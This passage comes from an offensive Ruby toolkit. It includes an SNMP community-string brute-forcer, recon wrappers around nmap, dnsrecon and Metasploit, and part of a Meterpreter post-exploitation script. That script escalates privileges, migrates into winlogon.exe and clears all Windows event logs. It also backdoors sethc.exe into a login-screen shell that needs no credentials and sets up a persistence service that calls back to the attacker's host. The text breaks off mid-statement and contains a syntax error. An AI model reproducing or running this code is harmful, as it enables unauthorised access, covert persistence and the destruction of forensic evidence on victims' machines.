| print_error("The provided details don't seem to be working!") 278 | print_error("") 279 | end 280 | print_caution("Re-run to change and re-set the SNMP connection datastore....") 281 | print_line("") 282 | end 283 | 284 | #NMAP SNMP Quick Scan Builder 285 | def nmap_snmp 286 | print_status("NMAP SNMP Quick Scan Builder") 287 | print_caution("Target IP: ") 288 | target = gets.chomp 289 | scan="xterm -title 'NMAP SNMP Quick Scan' -font -*-fixed-medium-r-*-*-18-*-*-*-*-*-iso8859-* -e \"bash -c 'nmap -sU -p 161 -sV " 290 | print_caution("Enable NSE Scripts (Y/N)?") 291 | answer=gets.chomp 292 | if answer.upcase == 'YES' or answer.upcase == 'Y' 293 | scan += '-sC ' 294 | end 295 | Dir.mkdir("#{$results}nmap/") unless File.exists?("#{$results}nmap/") 296 | scan += "#{target} -oX #{$results}nmap/#{target}.xml' && echo && echo '-- Press ENTER to close window --' && read\"" 297 | print_status("Launching NMAP Scan in new xterm window, hope you find something interesting....") 298 | fireNforget(scan) 299 | print_line("") 300 | end 301 | 302 | # Dictionary attack to find Community String 303 | # say something gay about using the word bruteforce and you will instantly be banished! 304 | # use your brain power, google and small lists with targeted strings 305 | # Bad Connections and faulty credentials end up causing time-out error 306 | # Simple use this to judge, moving on to next string in list if failed....not overly complex, sorry 307 | def snmp_brute 308 | print_status("SNMP Community String Bruteforcer") 309 | print_caution("Target IP: ") 310 | target = gets.chomp 311 | print_caution("Use Standard SNMP Port of 161 (Y/N)?") 312 | answer=gets.chomp 313 | if answer.upcase == 'N' or answer.upcase == 'NO' 314 | print_caution("Provide SNMP Port: ") 315 | zPORT=gets.chomp 316 | else 317 | zPORT='161' 318 | end 319 | 320 | print_caution("Select Wordlist for Attack: ") 321 | print_caution("1) Built-in Wordlist") 322 | print_caution("2) Custom Wordlist") 323 | answer=gets.chomp 324 | if answer == '2' 325 | print_caution("Path to Wordlist: ") 326 | zlist=gets.chomp 327 | if File.exists?(zlist) 328 | zWordlist = File.open(zlist).readlines 329 | print_good("Loaded #{zWordlist.size} strings from wordlist.....") 330 | else 331 | print_error("Can't find provided file!") 332 | print_caution("Proceeding with default built-in wordlist.....") 333 | zWordlist = [ 'public', 'public123', 'private', 'private123', 'internal', 'internet', 'secret', 'write', 'read', 'MyPublicCommunityName', 'MyPrivateCommunityName', 'snmp', 'snmpd', 'all private' ] 334 | end 335 | else 336 | zWordlist = [ 'public', 'public123', 'private', 'private123', 'internal', 'internet', 'secret', 'write', 'read', 'MyPublicCommunityName', 'MyPrivateCommunityName' ] 337 | print_good("Loaded #{zWordlist.size} strings from default wordlist.....") 338 | end 339 | 340 | print_caution("Stop on Firt Success (Y/N)?") 341 | answer=gets.chomp 342 | if answer.upcase == 'Y' or answer.upcase == 'YES' 343 | stop=true 344 | else 345 | stop=false 346 | end 347 | 348 | $fail=0 349 | while(true) 350 | print_status("Starting SNMP Bruteforce Attack, hang tight....") 351 | zWordlist.each do |cs| 352 | base = SNMPStalker.new(target,zPORT.to_i,cs.chomp) 353 | base.can_we_connect 354 | if $fail == 0 355 | base.close if base 356 | print_good("Connection Success!") 357 | print_good("Success using '#{cs.chomp}'") 358 | if stop == true 359 | print_status("Stop on Success Selected!") 360 | break 361 | end 362 | else 363 | $fail=0 364 | end 365 | end 366 | break 367 | end 368 | print_line("") 369 | end 370 | 371 | # Enumerate some basic info 372 | def snmp_basic 373 | if not @snmp_target 374 | snmp_creds 375 | end 376 | base = SNMPStalker.new(@snmp_target,@snmp_port.to_i,@snmp_cstring) 377 | base.can_we_connect 378 | if $fail == 0 379 | base.basic_info 380 | base.close 381 | else 382 | $fail=0 383 | end 384 | end 385 | 386 | # Enumerate Valid Windows User Accounts 387 | def snmp_users 388 | if not @snmp_target 389 | snmp_creds 390 | end 391 | base = SNMPStalker.new(@snmp_target,@snmp_port.to_i,@snmp_cstring) 392 | base.can_we_connect 393 | if $fail == 0 394 | base.users_walk 395 | base.close 396 | else 397 | $fail=0 398 | end 399 | end 400 | 401 | # Enumerate Installed Software on Windows box 402 | def snmp_software 403 | if not @snmp_target 404 | snmp_creds 405 | end 406 | base = SNMPStalker.new(@snmp_target,@snmp_port.to_i,@snmp_cstring) 407 | base.can_we_connect 408 | if $fail == 0 409 | base.sw_walk 410 | base.close 411 | else 412 | $fail=0 413 | end 414 | end 415 | 416 | #Enumerate Windows Running Services 417 | def snmp_services 418 | if not @snmp_target 419 | snmp_creds 420 | end 421 | base = SNMPStalker.new(@snmp_target,@snmp_port.to_i,@snmp_cstring) 422 | base.can_we_connect 423 | if $fail == 0 424 | base.services_walk 425 | base.close 426 | else 427 | $fail=0 428 | end 429 | end 430 | 431 | # Enumerate Windows Running Processes (Process, PID, & PATH) 432 | def snmp_processes 433 | if not @snmp_target 434 | snmp_creds 435 | end 436 | base = SNMPStalker.new(@snmp_target,@snmp_port.to_i,@snmp_cstring) 437 | base.can_we_connect 438 | if $fail == 0 439 | base.process_walk 440 | base.close 441 | else 442 | $fail=0 443 | end 444 | end 445 | 446 | # Enumerate Open TCP & UDP Ports, like Netstat 447 | def snmp_netstat 448 | if not @snmp_target 449 | snmp_creds 450 | end 451 | base = SNMPStalker.new(@snmp_target,@snmp_port.to_i,@snmp_cstring) 452 | base.can_we_connect 453 | if $fail == 0 454 | base.netstat_tcp 455 | print_line("") 456 | base.netstat_udp 457 | base.close 458 | else 459 | $fail=0 460 | end 461 | end 462 | 463 | def snmp_dump 464 | if not @snmp_target 465 | snmp_creds 466 | end 467 | base = SNMPStalker.new(@snmp_target,@snmp_port.to_i,@snmp_cstring) 468 | base.can_we_connect 469 | if $fail == 0 470 | base.dump 471 | base.close 472 | else 473 | $fail=0 474 | end 475 | end 476 | end 477 | -------------------------------------------------------------------------------- /classes/recon.rb: -------------------------------------------------------------------------------- 1 | # This is our Recon & Discovery Class, inherits all from CoreShell to make all support stuff available 2 | # This should house anything related to Recon & Discovery operations 3 | # target/host information gathering wrappers and such 4 | # If you add, just update the usage and r_shell function to make available 5 | 6 | class Recon 7 | def show_recon_usage 8 | puts "List of available commands and general description".light_yellow + ": ".white 9 | puts "\tcls".light_yellow + " => ".white + "Clear Screen".light_yellow 10 | puts "\thelp ".light_yellow + " => ".white + "Display this Help Menu".light_yellow 11 | puts "\tback ".light_yellow + " => ".white + "Return to Main Menu".light_yellow 12 | puts "\texit ".light_yellow + " => ".white + "Exit Completely".light_yellow 13 | print_line("") 14 | puts "\tarp".light_yellow + " => ".white + "ARP Discovery Scan using MSF".light_yellow 15 | puts "\tnetdiscover".light_yellow + " => ".white + "ARP Discovery Scan using Netdiscover".light_yellow 16 | puts "\tdnsrecon".light_yellow + " => ".white + "DNS Enumeration using DNSRECON".light_yellow 17 | puts "\tsubrecon".light_yellow + " => ".white + "Sub-Domain Enumeration using DNSRECON".light_yellow 18 | puts "\tsubmap".light_yellow + " => ".white + "Sub-Domain Enumeration using DNSMAP".light_yellow 19 | puts "\tnbtscan".light_yellow + " => ".white + "NBTSCAN NetBios Scan".light_yellow 20 | puts "\tnmap".light_yellow + " => ".white + "NMAP Scan".light_yellow 21 | puts "\tmssql_ping".light_yellow + " => ".white + "MS-SQL Ping Utility".light_yellow 22 | puts "\twinrm".light_yellow + " => ".white + "WinRM Authentication Method Detection".light_yellow 23 | print_line("") 24 | end 25 | 26 | #Recon & Discovery Main Menu 27 | def r_shell 28 | prompt = "(Recon)> " 29 | while line = Readline.readline("#{prompt}", true) 30 | cmd = line.chomp 31 | case cmd 32 | when /^clear|^cls|^banner/i 33 | cls 34 | banner 35 | r_shell 36 | when /^help|^h$|^ls$/i 37 | show_recon_usage 38 | r_shell 39 | when /^exit|^quit/i 40 | print_line("") 41 | print_error("OK, exiting Kalista....") 42 | print_line("") 43 | exit 69; 44 | when /^back|^main/i 45 | print_line("") 46 | print_error("OK, back to the Main Menu....") 47 | print_line("") 48 | $framework.core_shell 49 | when /^arp/i 50 | print_line("") 51 | arp_msf 52 | r_shell 53 | when /^netdiscover/i 54 | print_line("") 55 | arp_netdiscover 56 | r_shell 57 | when /^dnsrecon/i 58 | print_line("") 59 | dnsrecon_wrapper 60 | r_shell 61 | when /^subrecon/i 62 | print_line("") 63 | dnsrecon_sub_wrapper 64 | r_shell 65 | when /^submap/i 66 | print_line("") 67 | dnsmap_wrapper 68 | r_shell 69 | when /^nbtscan|^nbt$|^netbios/i 70 | print_line("") 71 | nbtscan_wrapper 72 | r_shell 73 | when /^nmap/i 74 | print_line("") 75 | nmap_builder 76 | r_shell 77 | when /^mssql_ping|^msping|^ms_ping|^sql_ping/i 78 | print_line("") 79 | mssql_ping 80 | r_shell 81 | when /^winrm/i 82 | print_line("") 83 | winrm_auth_check 84 | r_shell 85 | else 86 | cls 87 | print_line("") 88 | print_error("Oops, Didn't quite understand that one") 89 | print_error("Please Choose a Valid Option From Menu Below Next Time.....") 90 | print_line("") 91 | show_recon_usage 92 | r_shell 93 | end 94 | end 95 | end 96 | 97 | # ARP Scanning with Metasploit 98 | def arp_msf 99 | print_status("MSF ARP Discovery Scan Builder") 100 | print_caution("Target IP: ") 101 | zIP=gets.chomp 102 | 103 | print_caution("Source IP to use in requests: ") 104 | sIP=gets.chomp 105 | 106 | rcfile="#{$temp}msfassist.rc" 107 | f=File.open(rcfile, 'w') 108 | f.puts "db_connect #{MSFDBCREDS}" 109 | f.puts 'use auxiliary/scanner/discovery/arp_sweep' 110 | f.puts "set RHOSTS #{zIP}" 111 | f.puts "set SHOST #{sIP}" 112 | f.puts 'set SMAC 00:11:22:AA:BB:CC' 113 | f.puts "set THREADS 10" 114 | f.puts 'run' 115 | f.close 116 | 117 | arp="xterm -title 'MSF ARP Scan #{zIP}' -font -*-fixed-medium-r-*-*-18-*-*-*-*-*-iso8859-* -e \"bash -c '#{MSFPATH}/msfconsole -r #{rcfile}'\"" 118 | print_status("Launching MSF based ARP Scan in new window, hang tight.....") 119 | fireNforget(arp) 120 | print_line("") 121 | end 122 | 123 | # ARP Scanning with NetDiscover 124 | def arp_netdiscover 125 | print_status("Netdiscover ARP Scan Builder") 126 | netd = `which netdiscover`.chomp 127 | count = 1 128 | i = `/sbin/ifconfig -a | cut -d' ' -f1 | sed '/^$/d'`.split("\n") 129 | 130 | print_caution("Interface to Use: ") 131 | i.each do |x| 132 | print_status("#{count}) #{x}") 133 | count = count.to_i + 1 134 | end 135 | answ=gets.chomp 136 | zINTERFACE=i[answ.to_i - 1] 137 | 138 | scan="#{netd} -i #{zINTERFACE}" 139 | print_caution("Do you want to run an active Scan (Y/N)?") 140 | answer=gets.chomp 141 | if answer.upcase == 'Y' or answer.upcase == "YES" 142 | print_caution("Target IP: ") 143 | zIP=gets.chomp 144 | scan += " -r #{zIP}" 145 | end 146 | 147 | scan += "' && echo && echo '-- Press ENTER to close window --' && read" 148 | print_status("Launching Netdiscover based ARP Scan in new window, hang tight.....") 149 | netdscan="xterm -title 'Netdiscover #{zIP}' -font -*-fixed-medium-r-*-*-18-*-*-*-*-*-iso8859-* -e \"bash -c '#{scan}\"" 150 | fireNforget(netdscan) 151 | print_line("") 152 | end 153 | 154 | #Simple DNSRECON Wrapper for basic DNS Enumeration. Output in XML & CSV so you can import to other tools (MSF=>XML) 155 | #If using outside of Kali, need to make sure gems are installed: gem install pNet-DNS && gem install ip 156 | def dnsrecon_wrapper 157 | print_status("DNSRECON Scan Builder") 158 | dns='dnsrecon ' 159 | print_caution("Target Domain: ") 160 | zDOMAIN=gets.chomp 161 | dns += "-d #{zDOMAIN}" 162 | 163 | print_caution("Use custom Domain Server (Y/N)?") 164 | answer=gets.chomp 165 | if answer.upcase == 'Y' or answer.upcase == 'YES' 166 | print_caution("Domain Server to use: ") 167 | zDomServer=gets.chomp 168 | dns += " -n #{zDomServer}" 169 | end 170 | dns += " -a -w -z --threads 10 --lifetime 120 " 171 | 172 | print_caution("Output File Name: ") 173 | zOut=gets.chomp 174 | Dir.mkdir("#{$results}dnsrecon/") unless File.exists?("#{$results}dnsrecon/") 175 | dns += "--xml #{$results}dnsrecon/#{zOut}.xml --csv #{$results}dnsrecon/#{zOut}.csv" 176 | 177 | dns += "' && echo && echo '-- Press ENTER to close window --' && read" 178 | print_status("Launching DNSRECON Enumeration Scan in new window, hang tight.....") 179 | netdscan="xterm -title 'DNSRECON #{zDOMAIN}' -font -*-fixed-medium-r-*-*-18-*-*-*-*-*-iso8859-* -e \"bash -c '#{dns}\"" 180 | fireNforget(netdscan) 181 | print_line("") 182 | end 183 | 184 | #Bruteforcing of Sub-Domains using DNSRECON -D nameslist.txt 185 | def dnsrecon_sub_wrapper 186 | print_status("DNSRECON Sub-Domain Bruteforcer") 187 | dns='dnsrecon ' 188 | print_caution("Target Domain: ") 189 | zDOMAIN=gets.chomp 190 | dns += "-d #{zDOMAIN} -t brt" 191 | 192 | print_caution("Use custom wordlist for sub-domains (Y/N)?") 193 | answer=gets.chomp 194 | if answer.upcase == 'Y' or answer.upcase == 'YES' 195 | print_caution("Path to Wordlist: ") 196 | zWordlist=gets.chomp 197 | if File.exists?(zWordlist) 198 | dns += " -D #{zWordlist}" 199 | else 200 | print_error("Can't find provided file!") 201 | print_caution("Proceeding with default: #{DNSRECON}namelist.txt") 202 | print_status("....") 203 | dns += " -D #{DNSRECON}namelist.txt" 204 | end 205 | else 206 | dns += " -D #{DNSRECON}namelist.txt" 207 | end 208 | 209 | print_caution("Output File Name: ") 210 | zOut=gets.chomp 211 | Dir.mkdir("#{$results}dnsrecon/") unless File.exists?("#{$results}dnsrecon/") 212 | dns += " --threads 10 --lifetime 120 --xml #{$results}dnsrecon/#{zOut}.xml --csv #{$results}dnsrecon/#{zOut}.csv" 213 | 214 | dns += "' && echo && echo '-- Press ENTER to close window --' && read" 215 | print_status("Launching DNSRECON Sub-Domain Bruteforcer in new window, hang tight.....") 216 | subscan="xterm -title 'DNSRECON Sub-Domain Bruteforcer' -font -*-fixed-medium-r-*-*-18-*-*-*-*-*-iso8859-* -e \"bash -c '#{dns}\"" 217 | fireNforget(subscan) 218 | print_line("") 219 | end 220 | 221 | #Bruteforcing of Sub-Domains using DNSMAP and a user-provided wordlist 222 | def dnsmap_wrapper 223 | print_status("DNSMAP Sub-Domain Bruteforcer") 224 | print_caution("Target Domain: ") 225 | zDOMAIN=gets.chomp 226 | subs = "dnsmap #{zDOMAIN}" 227 | 228 | print_caution("Use custom wordlist for sub-domains (Y/N)?") 229 | answer=gets.chomp 230 | if answer.upcase == 'Y' or answer.upcase == 'YES' 231 | print_caution("Path to Wordlist: ") 232 | zWordlist=gets.chomp 233 | if File.exists?(zWordlist) 234 | subs += " -w #{zWordlist}" 235 | else 236 | print_error("Can't find provided file!") 237 | print_caution("Proceeding with default: #{DNSRECON}namelist.txt") 238 | print_status("....") 239 | subs += " -w #{DNSMAP}wordlist_TLAs.txt" 240 | end 241 | end 242 | 243 | print_caution("If Logging is Enabled, NO output will be printed to terminal while running!") 244 | print_caution("Enable Logging of Output (Y/N)?") 245 | answer=gets.chomp 246 | if answer.upcase == 'Y' or answer.upcase == 'YES' 247 | print_caution("Output File Name: ") 248 | zOut=gets.chomp 249 | Dir.mkdir("#{$results}dnsmap/") unless File.exists?("#{$results}dnsmap/") 250 | subs += " -r #{$results}dnsmap/#{zDOMAIN}.txt" 251 | else 252 | print_status("OK, leaving logging disabled.....") 253 | end 254 | subs += "' && echo && echo '-- Press ENTER to close window --' && read" 255 | print_status("Launching DNSMAP Sub-Domain Bruteforcer in new window, hang tight.....") 256 | submap="xterm -title 'DNSMAP Sub-Domain Bruteforcer' -font -*-fixed-medium-r-*-*-18-*-*-*-*-*-iso8859-* -e \"bash -c '#{subs}\"" 257 | fireNforget(submap) 258 | print_line("") 259 | end 260 | 261 | #NBTSCAN Wrapper 262 | def nbtscan_wrapper 263 | print_status("NBTSCAN NetBios Scan Builder") 264 | while(true) 265 | print_caution("Select Targeting Method: ") 266 | print_caution("1) Single IP/Range") 267 | print_caution("2) List with Targets") 268 | answer=gets.chomp 269 | print_line("") 270 | if answer == '1' 271 | print_caution("Please Provide Target IP: ") 272 | t=gets.chomp 273 | zIP=t 274 | print_line("") 275 | break 276 | elsif answer == '2' 277 | print_caution("Please Provide Path to Target List: ") 278 | dfile=gets.chomp 279 | print_line("") 280 | if File.exists?(dfile) 281 | zIP="-f #{dfile}" 282 | print_line("") 283 | break 284 | else 285 | print_error("Can't seem to find provided target list!") 286 | print_error("Check the permissions or the path and try again.....") 287 | print_line("") 288 | end 289 | end 290 | end 291 | print_status("Launching NBTSCAN in new window, hang tight.....") 292 | nbt = "nbtscan #{zIP}' && echo && echo '-- Press ENTER to close window --' && read" 293 | nbtscan="xterm -title 'NBTSCAN #{zIP}' -font -*-fixed-medium-r-*-*-18-*-*-*-*-*-iso8859-* -e \"bash -c '#{nbt}\"" 294 | fireNforget(nbtscan) 295 | print_line("") 296 | end 297 | 298 | #NMAP Scan Builder 299 | def nmap_builder 300 | print_status("NMAP Scan Builder") 301 | print_caution("Please provide target IP or Host to Scan: ") 302 | target = gets.chomp 303 | scan="xterm -title 'NMAP Scanner' -font -*-fixed-medium-r-*-*-18-*-*-*-*-*-iso8859-* -e \"bash -c 'nmap -sS -A -T3 -PN " 304 | print_caution("Enable NSE Scripts (Y/N)?") 305 | answer=gets.chomp 306 | if answer.upcase == 'YES' or answer.upcase == 'Y' 307 | scan += '-sC ' 308 | end 309 | Dir.mkdir("#{$results}nmap/") unless File.exists?("#{$results}nmap/") 310 | scan += "#{target} -oX #{$results}nmap/#{target}.xml' && echo && echo '-- Press ENTER to close window --' && read\"" 311 | print_status("Launching NMAP Scan in new xterm window, hope you find something interesting....") 312 | fireNforget(scan) 313 | print_line("") 314 | end 315 | 316 | # MS-SQL Pint Utility - It helps find MS-SQL Servers and the ports they are listening on (Standard Port is 1433) 317 | # Very helpful as MS-SQL can be the way in 318 | def mssql_ping 319 | print_status("") 320 | print_status("MS-SQL Ping Utility") 321 | print_status("It finds MS-SQL Servers & listening port!") 322 | print_status("") 323 | print_caution("Provide Target IP or IP Range: ") 324 | zIP=gets.chomp 325 | 326 | print_caution("Thread Count (1,5,25..): ") 327 | zTHREADS=gets.chomp 328 | 329 | rcfile="#{$temp}msfassist.rc" 330 | f=File.open(rcfile, 'w') 331 | f.puts "db_connect #{MSFDBCREDS}" 332 | f.puts 'use auxiliary/scanner/mssql/mssql_ping' 333 | f.puts "set RHOSTS #{zIP}" 334 | f.puts "set THREADS #{zTHREADS}" 335 | 336 | print_caution("Username & Password are optional") 337 | print_caution("Do you want to use Credentials (Y/N)?") 338 | if answer.upcase == 'Y' or answer.upcase == 'YES' 339 | print_caution("Provide Username: ") 340 | zUSER=gets.chomp 341 | 342 | print_caution("Provide Password: ") 343 | zPASS=gets.chomp 344 | f.puts "set USERNAME #{zUSER}" 345 | f.puts "set PASSWORD #{zPASS}" 346 | end 347 | f.puts "run" 348 | f.close 349 | msping="xterm -title 'MS-SQL Ping' -font -*-fixed-medium-r-*-*-18-*-*-*-*-*-iso8859-* -e \"bash -c '#{MSFPATH}/msfconsole -r #{rcfile}'\"" 350 | print_status("Launching MSF MS-SQL Ping Utility in new window, hang tight.....") 351 | fireNforget(msping) 352 | print_line("") 353 | end 354 | 355 | # MSF WinRM Authentication Method Detection 356 | # This module sends a request to an HTTP/HTTPS service to see if it is a WinRM service. 357 | # If it is a WinRM service, it also gathers the Authentication Methods supported. 358 | def winrm_auth_check 359 | print_status("") 360 | print_status("WinRM Authentication Method Detection") 361 | print_status("") 362 | print_caution("Target IP or IP Range: ") 363 | zIP=gets.chomp 364 | 365 | print_caution("Set Domain (Y/N)?") 366 | answer=gets.chomp 367 | if answer.upcase == 'Y' or answer.upcase == 'YES' 368 | print_caution("Domain to use: ") 369 | zDOMAIN=gets.chomp 370 | else 371 | zDOMAIN='WORKSTATION' 372 | end 373 | 374 | print_caution("Use Standard Port of 5985 (Y/N)?") 375 | answer=gets.chomp 376 | if answer.upcase == 'N' or answer.upcase == 'NO' 377 | print_caution("Port to use: ") 378 | zPORT=gets.chomp 379 | else 380 | zPORT=5985 381 | end 382 | 383 | print_caution("Use standard URI /wsman (Y/N)?") 384 | answer=gets.chomp 385 | if answer.upcase == 'N' or answer.upcase == 'NO' 386 | print_caution("URI to use: ") 387 | zURI=gets.chomp 388 | else 389 | zURI='/wsman' 390 | end 391 | 392 | rcfile="#{$temp}msfassist.rc" 393 | f=File.open(rcfile, 'w') 394 | f.puts "db_connect #{MSFDBCREDS}" 395 | f.puts "use auxiliary/scanner/winrm/winrm_auth_methods" 396 | f.puts "set DOMAIN #{zDOMAIN}" 397 | f.puts "set RHOSTS #{zIP}" 398 | f.puts "set RPORT #{zPORT}" 399 | f.puts "set URI #{zURI}" 400 | f.puts "run" 401 | f.close 402 | 403 | print_status("Launching WinRM Auth Detection Scan in new window, hang tight.....") 404 | winrm="xterm -title 'WinRM Auth Scan' -font -*-fixed-medium-r-*-*-18-*-*-*-*-*-iso8859-* -e \"bash -c '#{MSFPATH}/msfconsole -r #{rcfile}'\"" 405 | fireNforget(winrm) 406 | print_line("") 407 | end 408 | end 409 | -------------------------------------------------------------------------------- /extras/msf/meterpreter/winrape.rb: -------------------------------------------------------------------------------- 1 | # $Id:$ 2 | # $Revision: 2b$ 3 | # Meterpreter WinRape - Windows AutoRape - Auotmated Post Exploitation Script 4 | # Authors: Hood3dRob1n 5 | # http://i.imgur.com/Dlup3uX.png 6 | # http://i.imgur.com/mTKeAhO.png 7 | # http://i.imgur.com/tbL3SRQ.png 8 | 9 | ################## Variable Declarations ################## 10 | session = client 11 | 12 | #Basic Arguments user can provide when running meterpreter script 13 | @@exec_opts = Rex::Parser::Arguments.new( 14 | "-h" => [ false,"Help menu." ], 15 | "-U" => [ true,"Username to use on new account creation (default user: ows)" ], 16 | "-P" => [ true,"Password to use on new account creation (default pass: Ows!rox123)" ], 17 | "-L" => [ false,"Enable Login Backdoor using Swaparoo Sethc.exe Sicky Keys Method (Disabled by default)" ], 18 | "-s" => [ false,"Enable Backdoor Meterpreter Service Install (Disabled by default & requires -i & -p options)" ], 19 | "-i" => [ true,"IP to use for Persistence Service Install" ], 20 | "-p" => [ true,"PORT to use for Persistence Service Install" ], 21 | "-n" => [ true,"Name of Process to Auto-Migrate into (default: winlogon.exe)" ] 22 | ) 23 | 24 | ################## Function Declarations ################## 25 | 26 | #Usage 27 | def usage 28 | print_line("Windows AutoRape - Auotmated Post Exploitation Script") 29 | print_line(@@exec_opts.usage) 30 | raise Rex::Script::Completed 31 | end 32 | 33 | #check for proper Meterpreter Platform 34 | def unsupported 35 | print_error("This version of Meterpreter is not supported with this Script!") 36 | raise Rex::Script::Completed 37 | end 38 | 39 | #check for proper privileges are in place to run the tasks (i.e. are we admin?) 40 | def notadmin 41 | #Initiate getsystem command to try and escalate privileges if not already admin/system 42 | print_error("Running as: #{session.sys.config.getuid}") 43 | print_error("You need admin privs to run this!") 44 | print_status("Trying to escalate privileges to resolve the issue.......") 45 | session.priv.getsystem(0) 46 | 47 | #Check to see if our escalation attempts worked, if not bail out in flames of glory :p 48 | if session.railgun.shell32.IsUserAnAdmin()['return'] 49 | print_good("Escalation attempt was a success!") 50 | print_good("Now Running as: #{session.sys.config.getuid}") 51 | print_status("Continuing post exploit meterpreter script now.....") 52 | else 53 | print_error("Escalation attempt seems to have been a failure!") 54 | print_status("Try to escalate on your own and then re-run this script.....") 55 | print_status("Shutting things down for now.....") 56 | raise Rex::Script::Completed 57 | end 58 | end 59 | 60 | #Execute our list of command needed to achieve the desired goal (borrowed from dark operator & unleashed intro) 61 | def list_exec(session, cmdlst) #session is our meter sessions, cmdlst is our array of commands to run on target 62 | r='' 63 | session.response_timeout=120 64 | cmdlst.each do |cmd| 65 | begin 66 | print_status("Executing: #{cmd}") 67 | r = session.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' => true, 'Channelized' => true}) 68 | while(d = r.channel.read) 69 | break if d == "" 70 | end 71 | r.channel.close 72 | r.close 73 | rescue ::Exception => e 74 | print_error("Error Running Command #{cmd}: #{e.class} #{e}") 75 | end 76 | end 77 | end 78 | 79 | 80 | #Auto migrate from current process ID to targeted process ID (winlogon.exe by default) 81 | def auto_migrate(pid_name) 82 | original_pid = session.sys.process.getpid 83 | target_pid = session.sys.process[pid_name] 84 | if not target_pid 85 | print_error("Could not identify the target process ID for #{pid_name}!") 86 | print_error("Can't migrate automatically without it, sorry....") 87 | raise Rex::Script::Completed 88 | else 89 | begin 90 | print_status("Migrating from #{original_pid} to #{target_pid}....") 91 | session.core.migrate(target_pid) 92 | print_good("Successfully migrated to process #{target_pid}!") 93 | rescue ::Exception => e 94 | print_error("Could not migrate in to process!") 95 | print_error(e) 96 | end 97 | end 98 | end 99 | 100 | #clear out any event logs on the target box before we leave (you could run)single command to leverage existing scripts but I wanted to make my own hybrid version for an all in one :p 101 | def clear_event_logs 102 | print_status("Clearing Event Logs, this will leave an event 517 in all logs after....") 103 | begin 104 | #eventlog_list is a builtin to return array of event logs found querying registry 105 | eventlog_list.each do |log_name| 106 | print_status("Wiping #{log_name} Event Log....") 107 | log = session.sys.eventlog.open(log_name) 108 | log.clear 109 | end 110 | print_good("All Finished - The Coast is Clear!") 111 | rescue ::Exception => e 112 | print_status("Error clearing Event Log: #{e.class} #{e}") 113 | end 114 | end 115 | 116 | #Get basic system information so we know what we are working with.... 117 | def getinfo 118 | begin 119 | print_status("Enumerating System info....") 120 | print_good("Computer Name: #{session.sys.config.sysinfo['Computer']}") 121 | print_good("OS: #{session.sys.config.sysinfo['OS']}") 122 | print_good("Running as: #{session.sys.config.getuid}") 123 | print_good("Current PID: #{session.sys.process.getpid}") 124 | 125 | #Clients interfaces in array we will enumerate in a minute to display 126 | interfaces = session.net.config.interfaces 127 | print_status("Interfaces: ") 128 | print_line("") 129 | interfaces.each do |i| 130 | print_line("#{i.pretty}") 131 | end 132 | 133 | rescue ::Exception => e 134 | print_error("The following error was encountered #{e}") 135 | end 136 | end 137 | 138 | # Backdoor the Sethc.exe Sticky Keys Tool accessible via Login Screen on any Windows box (local or via RDP). Has no auth! 139 | def sethc_login_backdoor(session) 140 | sethc = [ "takeown /f #{path}sethc.exe", 141 | "icacls #{path}sethc.exe /grant administrators:f", 142 | "rename #{path}sethc.exe sethc.exe.bak", 143 | "copy #{path}cmd.exe #{path}cmd3.exe", 144 | "rename #{path}cmd3.exe sethc.exe" ] 145 | 146 | sethc_cleanup = [ "takeown /f #{path}sethc.exe", 147 | "icacls #{path}sethc.exe /grant administrators:f", 148 | "takeown /f #{path}sethc.exe.bak", 149 | "icacls #{path}sethc.exe.bak /grant Administrators:f", 150 | "del #{path}sethc.exe", 151 | "rename #{path}sethc.exe.bak sethc.exe" ] 152 | 153 | cleanup_file = ::File.join(Msf::Config.log_directory,"scripts", "#{session.sock.peerhost}_sethc_cleanup.rc") 154 | f=File.open(cleanup_file, 'w+') 155 | sethc_cleanup.each do |cmd| 156 | f.puts "execute -H -f cmd.exe -a '/c #{cmd}'" 157 | end 158 | f.close 159 | 160 | print_status("Starting the Swaparoo Sethc.exe backdooring process.....") 161 | if session.fs.file.exists?("#{path}sethc.exe.bak") 162 | print_error("Target appears to have already been backdoored with this method!") 163 | print_error("Delete or rename the backup file (sethc.exe.bak) manually or try 'run swaparoo -r' for running cleanup tasks.....") 164 | else 165 | list_exec(session, sethc) 166 | # All done, peace out! 167 | print_status("") 168 | print_good("Finished Swaparoo!") 169 | print_good("Press Shift key 5 times at Login Screen and you should be greeted by a shell!") 170 | print_good("Run #{cleanup_file} to swap things back..." 171 | print_status("") 172 | end 173 | end 174 | 175 | # check if UAC is enabled (the builtin for privs isn't workign for me for somereason so I made a new version), idk..... 176 | def uac_enabled 177 | #Confirm target could have UAC, then find out level its running at if possible 178 | if session.sys.config.sysinfo['OS'] !~ /Windows Vista|Windows 2008|Windows [78]/ 179 | uac = false 180 | else 181 | begin 182 | key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System',KEY_READ) 183 | if key.query_value('EnableLUA').data == 1 184 | uac = true 185 | print_status("UAC is Enabled, checking level...") 186 | uac_level = key.query_value('ConsentPromptBehaviorAdmin').data 187 | if uac_level.to_i == 2 188 | print_error("UAC is set to 'Always Notify'") 189 | print_error("Things won't work under these conditions.....") 190 | raise Rex::Script::Completed 191 | elsif uac_level.to_i == 5 192 | print_error("UAC is set to Default") 193 | print_error("Run 'exploit/windows/local/bypassuac' to bypass this UAC setting, if you haven't already...") 194 | elsif uac_level.to_i == 0 195 | print_good("UAC Settings Don't appear to be an issue, try ''exploit/windows/local/ask' if it is...") 196 | else 197 | print_status("Unknown UAC Setting, if it doesn't work try things manually to see if UAC is blocking......") 198 | end 199 | end 200 | key.close 201 | rescue::Exception => e 202 | print_error("Error Checking UAC: #{e.class} #{e}") 203 | end 204 | end 205 | 206 | return uac 207 | end 208 | 209 | ##################### MAIN ###################### 210 | # Parse our user provided options and run post script accordingly.... 211 | sysroot = session.fs.file.expand_path("%SYSTEMROOT%") #now we can get base path for different versions of Windows 212 | path = "#{sysroot}\\\\system32\\\\" #twice is nice (must escape properly for dir dividers 213 | helpcall = 0 214 | syspersist = 0 215 | sethc=0 216 | new_user = 'ows' 217 | new_pass = 'Ows!Rox123' 218 | pid_name = 'winlogon.exe' 219 | master_ip = (session.exploit_datastore['LHOST']) || '127.0.0.1' #Defaults to the LHOST value which was used to exploit the sessions in use 220 | master_port = 6969 221 | @@exec_opts.parse(args) do |opt, idx, val| 222 | case opt 223 | when "-h" 224 | helpcall = 1 #Help Menu 225 | when "-U" 226 | new_user = val #override default user 227 | when "-P" 228 | new_pass = val #override default pass 229 | when "-L" 230 | sethc=1 231 | when "-S" 232 | syspersist 